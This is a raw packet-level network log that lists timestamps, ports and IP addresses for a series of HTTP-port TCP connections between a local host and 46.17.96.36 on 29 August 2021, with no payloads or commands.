Aug 29, 2021 22:27:25.298583031 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.298602104 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.298702002 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.298741102 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.334496975 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.334553003 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.334739923 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.334764957 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.334780931 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.334795952 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.334856033 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.334908009 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.334973097 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.369728088 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.369749069 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.369785070 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.369966030 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.370135069 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.406219959 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.406352997 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.615102053 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.617072105 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.650903940 CEST	80	49770	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.651000977 CEST	49770	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.651515961 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.651655912 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.652867079 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.653117895 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.653384924 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.653583050 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.687326908 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.687355042 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.687372923 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.687390089 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.687438965 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.687495947 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.687766075 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.687817097 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.687833071 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.687859058 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.687922955 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.687964916 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.721204996 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.721220970 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.721226931 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.721234083 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.721311092 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.721363068 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.721381903 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.721417904 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.721447945 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.721468925 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.721541882 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.721573114 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.721594095 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.721599102 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.721621037 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.721674919 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.721679926 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.721736908 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.755095959 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.755158901 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.755173922 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.755219936 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.755259991 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.755301952 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.755804062 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.755908966 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:25.757694006 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.757905006 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.757930040 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.758074999 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.758097887 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.758132935 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.758150101 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.758189917 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.758217096 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.789644957 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.789669037 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.789678097 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.789690971 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.789993048 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.790245056 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.790268898 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.837187052 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:25.840207100 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.100081921 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.101463079 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.135096073 CEST	80	49771	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.135227919 CEST	49771	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.136926889 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.137016058 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.137660980 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.137758017 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.137959003 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.138165951 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.173310995 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.173336983 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.173351049 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.173444986 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.173482895 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.173501968 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.173578024 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.173594952 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.173816919 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.173831940 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.173918962 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.209100008 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.209141016 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.209156990 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.209192038 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.209224939 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.209259987 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.209291935 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.209327936 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.209347010 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.209551096 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.209588051 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.209806919 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.210160017 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.210282087 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.244869947 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.244895935 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.244906902 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.245009899 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.245043993 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.245063066 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.245078087 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.245081902 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.245122910 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.245158911 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.245218039 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.245230913 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.245245934 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.245754004 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.245770931 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.245784044 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.246273041 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.246289015 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.246300936 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.246314049 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.246866941 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.280740976 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.280764103 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.280770063 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.280777931 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.280785084 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.284270048 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.284286022 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.320451975 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.320591927 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.535316944 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.537553072 CEST	49773	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.570621014 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.570864916 CEST	80	49772	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.571044922 CEST	49772	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.571063042 CEST	49773	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.571950912 CEST	49773	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.572102070 CEST	49773	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.572484970 CEST	49773	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.572746992 CEST	49773	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.604012012 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.604047060 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.604398966 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.604428053 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.604444981 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.604614019 CEST	49773	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.604619026 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.604634047 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.604990005 CEST	49773	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.605118990 CEST	49773	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.636583090 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.636604071 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.636611938 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.636812925 CEST	49773	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.640541077 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.640563011 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.640569925 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.640577078 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.640584946 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.640861988 CEST	49773	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.671302080 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.671322107 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.671479940 CEST	49773	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.671611071 CEST	49773	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.673610926 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.673626900 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.673640013 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.675246954 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.675275087 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.703593016 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.703651905 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.703690052 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.703939915 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.703979969 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.746438026 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.746587038 CEST	49773	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.951286077 CEST	49773	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.952508926 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.986402035 CEST	80	49773	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.986567974 CEST	49773	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.990305901 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:26.990540981 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.991599083 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.991736889 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.991972923 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:26.992168903 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.026998997 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.027023077 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.027031898 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.027209044 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.027225971 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.027437925 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.027451038 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.027463913 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.035253048 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.070676088 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.070801020 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.070822954 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.070874929 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.070911884 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.070955992 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.070974112 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.071047068 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.071183920 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.071295977 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.107086897 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.107186079 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.107734919 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.107786894 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.107814074 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.107851028 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.108027935 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.108057976 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.108117104 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.108414888 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.108470917 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.108494043 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.108508110 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.108520031 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.142364979 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.142393112 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.142889023 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.142990112 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.143302917 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.143409014 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.143419027 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.143431902 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.143587112 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.181555033 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.181802034 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.364978075 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.366133928 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.400157928 CEST	80	49774	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.400280952 CEST	49774	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.400712967 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.400830030 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.401290894 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.401446104 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.401657104 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.401751041 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.436132908 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.436480999 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.436614990 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.436640978 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.436666012 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.436700106 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.436750889 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.436769009 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.436955929 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.436980963 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.437058926 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.437092066 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.472131968 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.472204924 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.472253084 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.472263098 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.472321033 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.472326040 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.472347021 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.472434998 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.472532034 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.472603083 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.472636938 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.472743988 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.473150969 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.473200083 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.473233938 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.473244905 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.473292112 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.473319054 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.507661104 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.507822037 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.507919073 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.508003950 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.508116961 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.508142948 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.508168936 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.508193970 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.508265972 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.508382082 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.508508921 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.508533955 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.508558989 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.508584023 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.508882999 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.508908033 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.508974075 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.509155989 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.542812109 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.542862892 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.542962074 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.543168068 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.543365955 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.543509007 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.545125961 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.545150995 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.545275927 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.602448940 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.602624893 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.790975094 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.791990995 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.824310064 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.824527979 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.825628996 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.825761080 CEST	80	49775	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.825884104 CEST	49775	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.826050997 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.826472998 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.826848984 CEST	49776	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:27.858496904 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.858536005 CEST	80	49776	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:27.858824015 CEST	80	49776	46.17.96.36	192.168.2.4
